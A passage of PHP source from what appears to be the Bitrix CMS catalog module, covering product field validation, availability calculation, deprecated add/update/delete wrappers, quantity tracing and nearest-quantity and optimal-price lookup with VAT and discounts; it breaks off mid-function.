			if (array_key_exists($fieldName, $arFields))
				unset($arFields[$fieldName]);
		}
		unset($fieldName, $clearFields);

		if ('ADD' == $ACTION)
		{
			if (!array_key_exists('SUBSCRIBE', $arFields))
				$arFields['SUBSCRIBE'] = '';
			if (!isset($arFields['TYPE']))
				$arFields['TYPE'] = Catalog\ProductTable::TYPE_PRODUCT;
			$arFields['BUNDLE'] = Catalog\ProductTable::STATUS_NO;
		}

		if (is_set($arFields, "ID") || $ACTION=="ADD")
			$arFields["ID"] = (int)$arFields["ID"];
		if (is_set($arFields, "QUANTITY") || $ACTION=="ADD")
			$arFields["QUANTITY"] = doubleval($arFields["QUANTITY"]);
		if (is_set($arFields, "QUANTITY_RESERVED") || $ACTION=="ADD")
			$arFields["QUANTITY_RESERVED"] = doubleval($arFields["QUANTITY_RESERVED"]);
		if (is_set($arFields, "OLD_QUANTITY"))
			$arFields["OLD_QUANTITY"] = doubleval($arFields["OLD_QUANTITY"]);
		if (is_set($arFields, "WEIGHT") || $ACTION=="ADD")
			$arFields["WEIGHT"] = doubleval($arFields["WEIGHT"]);
		if (is_set($arFields, "WIDTH") || $ACTION=="ADD")
			$arFields["WIDTH"] = doubleval($arFields["WIDTH"]);
		if (is_set($arFields, "LENGTH") || $ACTION=="ADD")
			$arFields["LENGTH"] = doubleval($arFields["LENGTH"]);
		if (is_set($arFields, "HEIGHT") || $ACTION=="ADD")
			$arFields["HEIGHT"] = doubleval($arFields["HEIGHT"]);

		if (is_set($arFields, "VAT_ID") || $ACTION=="ADD")
			$arFields["VAT_ID"] = intval($arFields["VAT_ID"]);
		if ((is_set($arFields, "VAT_INCLUDED") || $ACTION=="ADD") && ($arFields["VAT_INCLUDED"] != "Y"))
			$arFields["VAT_INCLUDED"] = "N";

		if ((is_set($arFields, "QUANTITY_TRACE") || $ACTION=="ADD") && ($arFields["QUANTITY_TRACE"] != "Y" && $arFields["QUANTITY_TRACE"] != "N"))
			$arFields["QUANTITY_TRACE"] = "D";
		if ((is_set($arFields, "CAN_BUY_ZERO") || $ACTION=="ADD") && ($arFields["CAN_BUY_ZERO"] != "Y" && $arFields["CAN_BUY_ZERO"] != "N"))
			$arFields["CAN_BUY_ZERO"] = "D";
		if (isset($arFields['CAN_BUY_ZERO']))
			$arFields['NEGATIVE_AMOUNT_TRACE'] = $arFields['CAN_BUY_ZERO'];

		if ((is_set($arFields, "PRICE_TYPE") || $ACTION=="ADD") && ($arFields["PRICE_TYPE"] != "R") && ($arFields["PRICE_TYPE"] != "T"))
			$arFields["PRICE_TYPE"] = "S";

		if ((is_set($arFields, "RECUR_SCHEME_TYPE") || $ACTION=="ADD") && (strlen($arFields["RECUR_SCHEME_TYPE"]) <= 0 || !in_array($arFields["RECUR_SCHEME_TYPE"], Catalog\ProductTable::getPaymentPeriods(false))))
		{
			$arFields["RECUR_SCHEME_TYPE"] = self::TIME_PERIOD_DAY;
		}

		if ((is_set($arFields, "RECUR_SCHEME_LENGTH") || $ACTION=="ADD") && (intval($arFields["RECUR_SCHEME_LENGTH"])<=0))
			$arFields["RECUR_SCHEME_LENGTH"] = 0;

		if ((is_set($arFields, "TRIAL_PRICE_ID") || $ACTION=="ADD") && (intval($arFields["TRIAL_PRICE_ID"])<=0))
			$arFields["TRIAL_PRICE_ID"] = false;

		if ((is_set($arFields, "WITHOUT_ORDER") || $ACTION=="ADD") && ($arFields["WITHOUT_ORDER"] != "Y"))
			$arFields["WITHOUT_ORDER"] = "N";

		if ((is_set($arFields, "SELECT_BEST_PRICE") || $ACTION=="ADD") && ($arFields["SELECT_BEST_PRICE"] != "N"))
			$arFields["SELECT_BEST_PRICE"] = "Y";

		$existPurchasingPrice = array_key_exists('PURCHASING_PRICE', $arFields);
		$existPurchasingCurrency = array_key_exists('PURCHASING_CURRENCY', $arFields);
		if ($ACTION == 'ADD')
		{
			$purchasingPrice = false;
			$purchasingCurrency = false;

			if ($existPurchasingPrice)
			{
				$purchasingPrice = static::checkPriceValue($arFields['PURCHASING_PRICE']);
				if ($purchasingPrice !== false)
				{
					$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
					if ($purchasingCurrency === false)
					{
						$arMsg[] = array('id' => 'PURCHASING_CURRENCY','text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
						$boolResult = false;
					}
				}
			}

			$arFields['PURCHASING_PRICE'] = $purchasingPrice;
			$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
			unset($purchasingCurrency, $purchasingPrice);
		}
		else
		{
			if ($existPurchasingPrice || $existPurchasingCurrency)
			{
				if ($existPurchasingPrice)
				{
					$arFields['PURCHASING_PRICE'] = static::checkPriceValue($arFields['PURCHASING_PRICE']);
					if ($arFields['PURCHASING_PRICE'] === false)
					{
						$arFields['PURCHASING_CURRENCY'] = false;
					}
					else
					{
						if ($existPurchasingCurrency)
						{
							$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
							if ($purchasingCurrency === false)
							{
								$arMsg[] = array('id' => 'PURCHASING_CURRENCY', 'text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
								$boolResult = false;
							}
							else
							{
								$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
							}
							unset($purchasingCurrency);
						}
					}
				}
				elseif ($existPurchasingCurrency)
				{
					$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
					if ($purchasingCurrency === false)
					{
						$arMsg[] = array('id' => 'PURCHASING_CURRENCY', 'text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
						$boolResult = false;
					}
					else
					{
						$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
					}
					unset($purchasingCurrency);
				}
			}
		}
		unset($existPurchasingCurrency, $existPurchasingPrice);

		if ((is_set($arFields, 'BARCODE_MULTI') || 'ADD' == $ACTION) && 'Y' != $arFields['BARCODE_MULTI'])
			$arFields['BARCODE_MULTI'] = 'N';
		if (array_key_exists('SUBSCRIBE', $arFields))
		{
			if ('Y' != $arFields['SUBSCRIBE'] && 'N' != $arFields['SUBSCRIBE'])
				$arFields['SUBSCRIBE'] = 'D';
		}
		if (array_key_exists('BUNDLE', $arFields))
			$arFields['BUNDLE'] = ($arFields['BUNDLE'] == Catalog\ProductTable::STATUS_YES ? Catalog\ProductTable::STATUS_YES : Catalog\ProductTable::STATUS_NO);

		if ($boolResult)
		{
			$availableFieldsList = array(
				'QUANTITY',
				'QUANTITY_TRACE',
				'CAN_BUY_ZERO'
			);
			$needCalculateAvailable = false;
			$copyFields = $arFields;
			if (isset($copyFields['QUANTITY_TRACE']) && $copyFields['QUANTITY_TRACE'] == 'D')
				$copyFields['QUANTITY_TRACE'] = Main\Config\Option::get('catalog', 'default_quantity_trace');
			if (isset($copyFields['CAN_BUY_ZERO']) && $copyFields['CAN_BUY_ZERO'] == 'D')
				$copyFields['CAN_BUY_ZERO'] = Main\Config\Option::get('catalog', 'default_can_buy_zero');

			if (!isset($arFields['AVAILABLE']))
			{
				if (
					!isset($arFields['TYPE'])
					|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_PRODUCT
					|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_OFFER
					|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_FREE_OFFER
				)
				{
					if (
						$ACTION == 'ADD'
						&& (
							$arFields['TYPE'] == Catalog\ProductTable::TYPE_PRODUCT
							|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_OFFER
						)
						&& !isset($arFields['AVAILABLE'])
					)
					{
						$needCalculateAvailable = true;
					}
					elseif ($ACTION == 'UPDATE')
					{
						$needFields = array();
						foreach ($availableFieldsList as $availableField)
						{
							if (isset($arFields[$availableField]))
								$needCalculateAvailable = true;
							else
								$needFields[] = $availableField;
						}
						unset($availableField);
						if ($needCalculateAvailable && !empty($needFields))
						{
							$product = $productIterator = Catalog\ProductTable::getList(array(
								'select' => $needFields,
								'filter' => array('=ID' => $ID)
							))->fetch();
							if (!empty($product) && is_array($product))
							{
								foreach ($availableFieldsList as $availableField)
								{
									if (isset($copyFields[$availableField]))
										continue;
									$copyFields[$availableField] = $product[$availableField];
								}
								unset($availableField);
							}
							unset($product);
						}
						unset($needFields);
					}
				}
				elseif (isset($arFields['TYPE']) && $arFields['TYPE'] == CCatalogProduct::TYPE_SKU)
				{
					$offerList = CCatalogSku::getOffersList(array($ID), 0, array('ACTIVE' => 'Y'), array('ID'));
					if (!empty($offerList[$ID]))
					{
						$skuAvailable = false;
						$offerIterator = Catalog\ProductTable::getList(array(
							'select' => array('ID', 'QUANTITY', 'QUANTITY_TRACE', 'CAN_BUY_ZERO'),
							'filter' => array('@ID' => array_keys($offerList[$ID]))
						));
						while ($offer = $offerIterator->fetch())
						{
							if (Catalog\ProductTable::calculateAvailable($offer) == Catalog\ProductTable::STATUS_YES)
								$skuAvailable = true;
						}
						unset($offer, $offerIterator);
						if ($skuAvailable)
						{
							$arFields['AVAILABLE'] = 'Y';
							$arFields['QUANTITY'] = '0';
							$arFields['QUANTITY_TRACE'] = 'N';
							$arFields['CAN_BUY'] = 'Y';
						}
						else
						{
							$arFields['AVAILABLE'] = 'N';
							$arFields['QUANTITY'] = '0';
							$arFields['QUANTITY_TRACE'] = 'Y';
							$arFields['CAN_BUY'] = 'N';
						}
					}
					else
					{
						$arFields['AVAILABLE'] = 'N';
					}
					unset($offerList);
				}
			}
			if ($needCalculateAvailable)
				$arFields['AVAILABLE'] = Catalog\ProductTable::calculateAvailable($copyFields);
			unset($copyFields);
		}

		if (!$boolResult)
		{
			$obError = new CAdminException($arMsg);
			$APPLICATION->ThrowException($obError);
		}
		return $boolResult;
	}

	/**
	 * @deprecated deprecated since catalog 17.6.0
	 * @see \Bitrix\Catalog\Model\Product::add
	 *
	 * @param array $fields
	 * @param bool $checkExist
	 * @return bool
	 */
	public static function Add($fields, $checkExist = true)
	{
		$existProduct = false;
		$checkExist = ($checkExist !== false);

		if (empty($fields['ID']))
			return false;
		$fields['ID'] = (int)$fields['ID'];
		if ($fields['ID'] <= 0)
			return false;

		if ($checkExist)
		{
			$data = Catalog\Model\Product::getCacheItem($fields['ID'], true);
			if (!empty($data))
				$existProduct = !empty($data['ID']);
			unset($data);
		}

		self::normalizeFields($fields);

		if ($existProduct)
			$result = Catalog\Model\Product::update($fields['ID'], $fields);
		else
			$result = Catalog\Model\Product::add($fields);
		$success = $result->isSuccess();
		if (!$success)
			self::convertErrors($result);
		unset($result);

		return $success;
	}

	/**
	 * @deprecated deprecated since catalog 17.6.0
	 * @see \Bitrix\Catalog\Model\Product::update
	 *
	 * @param int $id
	 * @param array $fields
	 * @return bool
	 */
	public static function Update($id, $fields)
	{
		$id = (int)$id;
		if ($id <= 0)
			return false;
		if (!is_array($fields))
			return false;

		self::normalizeFields($fields);

		$result = Catalog\Model\Product::update($id, $fields);
		$success = $result->isSuccess();
		if (!$success)
			self::convertErrors($result);
		unset($result);

		return $success;
	}

	/**
	 * @deprecated deprecated since catalog 17.6.0
	 * @see \Bitrix\Catalog\Model\Product::delete
	 *
	 * @param int $id
	 * @return bool
	 */
	public static function Delete($id)
	{
		$id = (int)$id;
		if ($id <= 0)
			return false;

		$result = Catalog\Model\Product::delete($id);

		return $result->isSuccess();
	}

	public static function ParseQueryBuildField($field)
	{
		$field = (string)$field;
		if ($field == '')
			return false;
		$field = strtoupper($field);
		if (strncmp($field, 'CATALOG_', 8) != 0)
			return false;

		$iNum = 0;
		$field = substr($field, 8);
		$p = strrpos($field, '_');
		if ($p !== false && $p > 0)
		{
			$iNum = (int)substr($field, $p+1);
			if ($iNum > 0)
				$field = substr($field, 0, $p);
		}
		return array(
			'FIELD' => $field,
			'NUM' => $iNum
		);
	}

	/**
	 * @deprecated deprecated since catalog 17.6.2
	 * @see Catalog\Model\Product::getList
	 *
	 * @param int $ID
	 * @return array|false
	 */
	public static function GetByID($ID)
	{
		$ID = (int)$ID;
		if ($ID <= 0)
			return false;

		$iterator = Catalog\Model\Product::getList([
			'select' => [
				'ID', 'QUANTITY', 'QUANTITY_RESERVED', 'QUANTITY_TRACE', 'QUANTITY_TRACE_ORIG', 'WEIGHT', 'WIDTH', 'LENGTH', 'HEIGHT', 'MEASURE',
				'VAT_ID', 'VAT_INCLUDED', 'CAN_BUY_ZERO', 'CAN_BUY_ZERO_ORIG', 'NEGATIVE_AMOUNT_TRACE', 'NEGATIVE_AMOUNT_TRACE_ORIG',
				'PRICE_TYPE', 'RECUR_SCHEME_TYPE', 'RECUR_SCHEME_LENGTH', 'TRIAL_PRICE_ID', 'WITHOUT_ORDER', 'SELECT_BEST_PRICE',
				'TMP_ID', 'PURCHASING_PRICE', 'PURCHASING_CURRENCY', 'BARCODE_MULTI', 'SUBSCRIBE', 'SUBSCRIBE_ORIG',
				'TYPE', 'BUNDLE', 'AVAILABLE', 'TIMESTAMP_X'
			],
			'filter' => ['=ID' => $ID]
		]);
		$result = $iterator->fetch();
		unset($iterator);
		if (empty($result))
			return false;
		if ($result['TIMESTAMP_X'] !== null and $result['TIMESTAMP_X'] instanceof Main\Type\DateTime)
		{
			/** @noinspection PhpUndefinedMethodInspection */
			$result['TIMESTAMP_X'] = $result['TIMESTAMP_X']->toString();
		}
		return $result;
	}

	/**
	 * @deprecated deprecated since catalog 17.6.0
	 *
	 * @param $ID
	 * @param bool $boolAllValues
	 * @return array|bool
	 */
	public static function GetByIDEx($ID, $boolAllValues = false)
	{
		$boolAllValues = ($boolAllValues === true);
		$ID = (int)$ID;
		if ($ID <= 0)
			return false;
		$arFilter = array("ID" => $ID, "ACTIVE" => "Y", "ACTIVE_DATE" => "Y");

		$dbIBlockElement = CIBlockElement::GetList(array(), $arFilter);
		if ($arIBlockElement = $dbIBlockElement->GetNext())
		{
			if ($arIBlock = CIBlock::GetArrayByID($arIBlockElement["IBLOCK_ID"]))
			{
				$arIBlockElement["IBLOCK_ID"] = $arIBlock["ID"];
				$arIBlockElement["IBLOCK_NAME"] = htmlspecialcharsbx($arIBlock["NAME"]);
				$arIBlockElement["~IBLOCK_NAME"] = $arIBlock["NAME"];
				$arIBlockElement["PROPERTIES"] = false;
				$dbProps = CIBlockElement::GetProperty($arIBlock["ID"], $ID, "sort", "asc", array("ACTIVE"=>"Y", "NON_EMPTY"=>"Y"));
				if ($arProp = $dbProps->Fetch())
				{
					$arAllProps = array();
					do
					{
						$strID = (strlen($arProp["CODE"])>0 ? $arProp["CODE"] : $arProp["ID"]);
						if (is_array($arProp["VALUE"]))
						{
							foreach ($arProp["VALUE"] as &$strOneValue)
							{
								$strOneValue = htmlspecialcharsbx($strOneValue);
							}
							if (isset($strOneValue))
								unset($strOneValue);
						}
						else
						{
							$arProp["VALUE"] = htmlspecialcharsbx($arProp["VALUE"]);
						}

						if (is_array($arProp["DEFAULT_VALUE"]))
						{
							foreach ($arProp["DEFAULT_VALUE"] as $index => $value)
							{
								if (is_string($value))
									$arProp["DEFAULT_VALUE"][$index] = htmlspecialcharsbx($value);
							}
						}
						else
						{
							$arProp["DEFAULT_VALUE"] = htmlspecialcharsbx($arProp["DEFAULT_VALUE"]);
						}

						if ($boolAllValues && 'Y' == $arProp['MULTIPLE'])
						{
							if (!isset($arAllProps[$strID]))
							{
								$arAllProps[$strID] = array(
									"NAME" => htmlspecialcharsbx($arProp["NAME"]),
									"VALUE" => array($arProp["VALUE"]),
									"VALUE_ENUM" => array(htmlspecialcharsbx($arProp["VALUE_ENUM"])),
									"VALUE_XML_ID" => array(htmlspecialcharsbx($arProp["VALUE_XML_ID"])),
									"DEFAULT_VALUE" => $arProp["DEFAULT_VALUE"],
									"SORT" => htmlspecialcharsbx($arProp["SORT"]),
									"MULTIPLE" => $arProp['MULTIPLE'],
								);
							}
							else
							{
								$arAllProps[$strID]['VALUE'][] = $arProp["VALUE"];
								$arAllProps[$strID]['VALUE_ENUM'][] = htmlspecialcharsbx($arProp["VALUE_ENUM"]);
								$arAllProps[$strID]['VALUE_XML_ID'][] = htmlspecialcharsbx($arProp["VALUE_XML_ID"]);
							}
						}
						else
						{
							$arAllProps[$strID] = array(
								"NAME" => htmlspecialcharsbx($arProp["NAME"]),
								"VALUE" => $arProp["VALUE"],
								"VALUE_ENUM" => htmlspecialcharsbx($arProp["VALUE_ENUM"]),
								"VALUE_XML_ID" => htmlspecialcharsbx($arProp["VALUE_XML_ID"]),
								"DEFAULT_VALUE" => $arProp["DEFAULT_VALUE"],
								"SORT" => htmlspecialcharsbx($arProp["SORT"]),
								"MULTIPLE" => $arProp['MULTIPLE'],
							);
						}
					}
					while($arProp = $dbProps->Fetch());

					$arIBlockElement["PROPERTIES"] = $arAllProps;
				}

				// bugfix: 2007-07-31 by Sigurd
				$arIBlockElement["PRODUCT"] = CCatalogProduct::GetByID($ID);

				$dbPrices = CPrice::GetList(array("SORT" => "ASC"), array("PRODUCT_ID" => $ID));
				if ($arPrices = $dbPrices->Fetch())
				{
					$arAllPrices = array();
					do
					{
						$arAllPrices[$arPrices["CATALOG_GROUP_ID"]] = array(
							"EXTRA_ID" => intval($arPrices["EXTRA_ID"]),
							"PRICE" => doubleval($arPrices["PRICE"]),
							"CURRENCY" => htmlspecialcharsbx($arPrices["CURRENCY"])
						);
					}
					while($arPrices = $dbPrices->Fetch());

					$arIBlockElement["PRICES"] = $arAllPrices;
				}

				return $arIBlockElement;
			}
		}

		return false;
	}

	public static function QuantityTracer($ProductID, $DeltaQuantity)
	{
		$boolClearCache = false;

		$ProductID = (int)$ProductID;
		if ($ProductID <= 0)
			return false;
		$DeltaQuantity = (float)$DeltaQuantity;
		if ($DeltaQuantity==0)
			return false;

		$rsProducts = CCatalogProduct::GetList(
			array(),
			array('ID' => $ProductID),
			false,
			false,
			array('ID', 'CAN_BUY_ZERO', 'NEGATIVE_AMOUNT_TRACE', 'QUANTITY_TRACE', 'QUANTITY', 'ELEMENT_IBLOCK_ID')
		);
		if (($arProduct = $rsProducts->Fetch())
			&& ($arProduct["QUANTITY_TRACE"]=="Y"))
		{
			$strAllowNegativeAmount = $arProduct["NEGATIVE_AMOUNT_TRACE"];

			$arFields = array();
			$arFields["QUANTITY"] = (float)$arProduct["QUANTITY"] - $DeltaQuantity;

			if ('Y' != $arProduct['CAN_BUY_ZERO'])
			{
				if (defined("BX_COMP_MANAGED_CACHE"))
				{
					$boolClearCache = (0 >= $arFields["QUANTITY"]*$arProduct["QUANTITY"]);
				}
			}

			if ('Y' != $arProduct['CAN_BUY_ZERO'] || 'Y' != $strAllowNegativeAmount)
			{
				if (0 >= $arFields["QUANTITY"])
					$arFields["QUANTITY"] = 0;
			}

			$arFields['OLD_QUANTITY'] = $arProduct["QUANTITY"];
			CCatalogProduct::Update($arProduct["ID"], $arFields);

			if ($boolClearCache)
				CIBlock::clearIblockTagCache($arProduct['ELEMENT_IBLOCK_ID']);

			$arProduct['OLD_QUANTITY'] = $arFields['OLD_QUANTITY'];
			$arProduct['QUANTITY'] = $arFields['QUANTITY'];
			$arProduct['ALLOW_NEGATIVE_AMOUNT'] = $strAllowNegativeAmount;
			$arProduct['DELTA'] = $DeltaQuantity;
			foreach (GetModuleEvents("catalog", "OnProductQuantityTrace", true) as $arEvent)
			{
				ExecuteModuleEventEx($arEvent, array($arProduct["ID"], $arProduct));
			}

			return true;
		}

		return false;
	}

	/**
	 * @param int $productID
	 * @param int|float $quantity
	 * @param array $arUserGroups
	 * @return bool|float|int
	 */
	public static function GetNearestQuantityPrice($productID, $quantity = 1, $arUserGroups = array())
	{
		static $eventOnGetExists = null;
		static $eventOnResultExists = null;

		global $APPLICATION;

		if ($eventOnGetExists === true || $eventOnGetExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnGetNearestQuantityPrice', true) as $arEvent)
			{
				$eventOnGetExists = true;
				$mxResult = ExecuteModuleEventEx(
					$arEvent,
					array(
						$productID,
						$quantity,
						$arUserGroups
					)
				);
				if ($mxResult !== true)
					return $mxResult;
			}
			if ($eventOnGetExists === null)
				$eventOnGetExists = false;
		}

		// Check input params
		$productID = (int)$productID;
		if ($productID <= 0)
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_PRODUCT_ID_ABSENT"), "NO_PRODUCT_ID");
			return false;
		}

		$quantity = (float)$quantity;
		if ($quantity <= 0)
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_QUANTITY_ABSENT"), "NO_QUANTITY");
			return false;
		}

		if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
			$arUserGroups = array((int)$arUserGroups);

		if (!is_array($arUserGroups))
			$arUserGroups = array();

		if (!in_array(2, $arUserGroups))
			$arUserGroups[] = 2;

		$quantityDifference = -1;
		$nearestQuantity = -1;

		// Find nearest quantity
		$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
		if (empty($priceTypeList))
			return false;

		$iterator = Catalog\PriceTable::getList(array(
			'select' => array('ID', 'QUANTITY_FROM', 'QUANTITY_TO'),
			'filter' => array(
				'=PRODUCT_ID' => $productID,
				'@CATALOG_GROUP_ID' => $priceTypeList,
			)
		));
		while ($arPriceList = $iterator->fetch())
		{
			$arPriceList['QUANTITY_FROM'] = (float)$arPriceList['QUANTITY_FROM'];
			$arPriceList['QUANTITY_TO'] = (float)$arPriceList['QUANTITY_TO'];
			if ($quantity >= $arPriceList["QUANTITY_FROM"]
				&& ($quantity <= $arPriceList["QUANTITY_TO"] || $arPriceList["QUANTITY_TO"] == 0))
			{
				$nearestQuantity = $quantity;
				break;
			}

			if ($quantity < $arPriceList["QUANTITY_FROM"])
			{
				$nearestQuantity_tmp = $arPriceList["QUANTITY_FROM"];
				$quantityDifference_tmp = $arPriceList["QUANTITY_FROM"] - $quantity;
			}
			else
			{
				$nearestQuantity_tmp = $arPriceList["QUANTITY_TO"];
				$quantityDifference_tmp = $quantity - $arPriceList["QUANTITY_TO"];
			}

			if ($quantityDifference < 0 || $quantityDifference_tmp < $quantityDifference)
			{
				$quantityDifference = $quantityDifference_tmp;
				$nearestQuantity = $nearestQuantity_tmp;
			}
		}
		unset($arPriceList, $iterator);
		unset($priceTypeList);

		if ($eventOnResultExists === true || $eventOnResultExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnGetNearestQuantityPriceResult', true) as $arEvent)
			{
				$eventOnResultExists = true;
				if (ExecuteModuleEventEx($arEvent, array(&$nearestQuantity)) === false)
					return false;
			}
			if ($eventOnResultExists === null)
				$eventOnResultExists = false;
		}

		return ($nearestQuantity > 0 ? $nearestQuantity : false);
	}

	/**
	 * @param int $intProductID
	 * @param int|float $quantity
	 * @param array $arUserGroups
	 * @param string $renewal
	 * @param array $priceList
	 * @param bool|string $siteID
	 * @param bool|array $arDiscountCoupons
	 * @return array|bool
	 */
	public static function GetOptimalPrice($intProductID, $quantity = 1, $arUserGroups = array(), $renewal = "N", $priceList = array(), $siteID = false, $arDiscountCoupons = false)
	{
		static $eventOnGetExists = null;
		static $eventOnResultExists = null;

		global $APPLICATION;

		if ($eventOnGetExists === true || $eventOnGetExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnGetOptimalPrice', true) as $arEvent)
			{
				$eventOnGetExists = true;
				$mxResult = ExecuteModuleEventEx(
					$arEvent,
					array(
						$intProductID,
						$quantity,
						$arUserGroups,
						$renewal,
						$priceList,
						$siteID,
						$arDiscountCoupons
					)
				);
				if ($mxResult !== true)
				{
					self::updateUserHandlerOptimalPrice(
						$mxResult,
						['PRODUCT_ID' => $intProductID]
					);
					return $mxResult;
				}
			}
			if ($eventOnGetExists === null)
				$eventOnGetExists = false;
		}

		$intProductID = (int)$intProductID;
		if ($intProductID <= 0)
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_PRODUCT_ID_ABSENT"), "NO_PRODUCT_ID");
			return false;
		}

		$quantity = (float)$quantity;
		if ($quantity <= 0)
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_QUANTITY_ABSENT"), "NO_QUANTITY");
			return false;
		}

		if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
			$arUserGroups = array((int)$arUserGroups);

		if (!is_array($arUserGroups))
			$arUserGroups = array();

		if (!in_array(2, $arUserGroups))
			$arUserGroups[] = 2;
		Main\Type\Collection::normalizeArrayValuesByInt($arUserGroups);

		$renewal = ($renewal == 'Y' ? 'Y' : 'N');

		if ($siteID === false)
			$siteID = SITE_ID;

		$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
		if (empty($resultCurrency))
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
			return false;
		}

		$intIBlockID = (int)CIBlockElement::GetIBlockByID($intProductID);
		if ($intIBlockID <= 0)
		{
			$APPLICATION->ThrowException(
				Loc::getMessage(
					'BT_MOD_CATALOG_PROD_ERR_ELEMENT_ID_NOT_FOUND',
					array('#ID#' => $intProductID)
				),
				'NO_ELEMENT'
			);
			return false;
		}

		if (!isset($priceList) || !is_array($priceList))
			$priceList = array();

		if (empty($priceList))
		{
			$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
			if (empty($priceTypeList))
				return false;

			$iterator = Catalog\PriceTable::getList(array(
				'select' => array('ID', 'CATALOG_GROUP_ID', 'PRICE', 'CURRENCY'),
				'filter' => array(
					'=PRODUCT_ID' => $intProductID,
					'@CATALOG_GROUP_ID' => $priceTypeList,
					array(
						'LOGIC' => 'OR',
						'<=QUANTITY_FROM' => $quantity,
						'=QUANTITY_FROM' => null
					),
					array(
						'LOGIC' => 'OR',
						'>=QUANTITY_TO' => $quantity,
						'=QUANTITY_TO' => null
					)
				)
			));
			while ($row = $iterator->fetch())
			{
				$row['ELEMENT_IBLOCK_ID'] = $intIBlockID;
				$priceList[] = $row;
			}
			unset($row, $iterator);
			unset($priceTypeList);
		}
		else
		{
			foreach (array_keys($priceList) as $priceIndex)
				$priceList[$priceIndex]['ELEMENT_IBLOCK_ID'] = $intIBlockID;
			unset($priceIndex);
		}

		if (empty($priceList))
			return false;

		$vat = CCatalogProduct::GetVATDataByID($intProductID);
		if (!empty($vat))
		{
			$vat['RATE'] = (float)$vat['RATE'] * 0.01;
		}
		else
		{
			$vat = array('RATE' => 0.0, 'VAT_INCLUDED' => 'N');
		}
		unset($iterator);

		$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
		$resultWithVat = Catalog\Product\Price\Calculation::isIncludingVat();
		if ($isNeedDiscounts)
		{
			if ($arDiscountCoupons === false)
				$arDiscountCoupons = CCatalogDiscountCoupon::GetCoupons();
		}

//		$boolDiscountVat = ('N' != COption::GetOptionString('catalog', 'discount_vat', 'Y'));
		$boolDiscountVat = true;

		$minimalPrice = array();

		if (self::$saleIncluded === null)
			self::initSaleSettings();
		$isNeedleToMinimizeCatalogGroup = self::isNeedleToMinimizeCatalogGroup($priceList);

		foreach ($priceList as $priceData)
		{
			$priceData['VAT_RATE'] = $vat['RATE'];
			$priceData['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];

			$currentPrice = (float)$priceData['PRICE'];
			if ($boolDiscountVat)
			{
				if ($priceData['VAT_INCLUDED'] == 'N')
					$currentPrice *= (1 + $priceData['VAT_RATE']);
			}
			else
			{
				if ($priceData['VAT_INCLUDED'] == 'Y')
					$currentPrice /= (1 + $priceData['VAT_RATE']);
			}
			if ($priceData['CURRENCY'] != $resultCurrency)
				$currentPrice = CCurrencyRates::ConvertCurrency($currentPrice, $priceData['CURRENCY'], $resultCurrency);
			$currentPrice = Catalog\Product\Price\Calculation::roundPrecision($currentPrice);

			$result = array(
				'BASE_PRICE' => $currentPrice,
				'COMPARE_PRICE' => $currentPrice,
				'PRICE' => $currentPrice,
				'CURRENCY' => $resultCurrency,
				'DISCOUNT_LIST' => array(),
				'RAW_PRICE' => $priceData
			);
			if ($isNeedDiscounts)
			{
				$arDiscounts = CCatalogDiscount::GetDiscount(
					$intProductID,
					$intIBlockID,
					$priceData['CATALOG_GROUP_ID'],
					$arUserGroups,
					$renewal,
					$siteID,
					$arDiscountCoupons
				);

				$discountResult = CCatalogDiscount::applyDiscountList($currentPrice, $resultCurrency, $arDiscounts);
				unset($arDiscounts);
				if ($discountResult === false)
					return false;
				$result['PRICE'] = $discountResult['PRICE'];
				$result['COMPARE_PRICE'] = $discountResult['PRICE'];
				$result['DISCOUNT_LIST'] = $discountResult['DISCOUNT_LIST'];
				unset($discountResult);
			}
			elseif($isNeedleToMinimizeCatalogGroup)
			{
				$calculateData = $priceData;
				$calculateData['PRICE'] = $currentPrice;
				$calculateData['CURRENCY'] = $resultCurrency;
				$possibleSalePrice = self::getPossibleSalePrice(
					$intProductID,
					$calculateData,
					$quantity,
					$siteID,
					$arUserGroups,
					$arDiscountCoupons
				);
				unset($calculateData);
				if ($possibleSalePrice === null)
					return false;
				$result['COMPARE_PRICE'] = $possibleSalePrice;
				unset($possibleSalePrice);
			}

			if ($boolDiscountVat)
			{
				if (!$resultWithVat)
				{
					$result['PRICE'] /= (1 + $priceData['VAT_RATE']);
					$result['COMPARE_PRICE'] /= (1 + $priceData['VAT_RATE']);
					$result['BASE_PRICE'] /= (1 + $priceData['VAT_RATE']);
				}
			}
			else
			{
				if ($resultWithVat)
				{
					$result['PRICE'] *= (1 + $priceData['VAT_RATE']);
					$result['COMPARE_PRICE'] *= (1 + $priceData['VAT_RATE']);
					$result['BASE_PRICE'] *= (1 + $priceData['VAT_RATE']);
				}
			}

			$result['UNROUND_PRICE'] = $result['PRICE'];
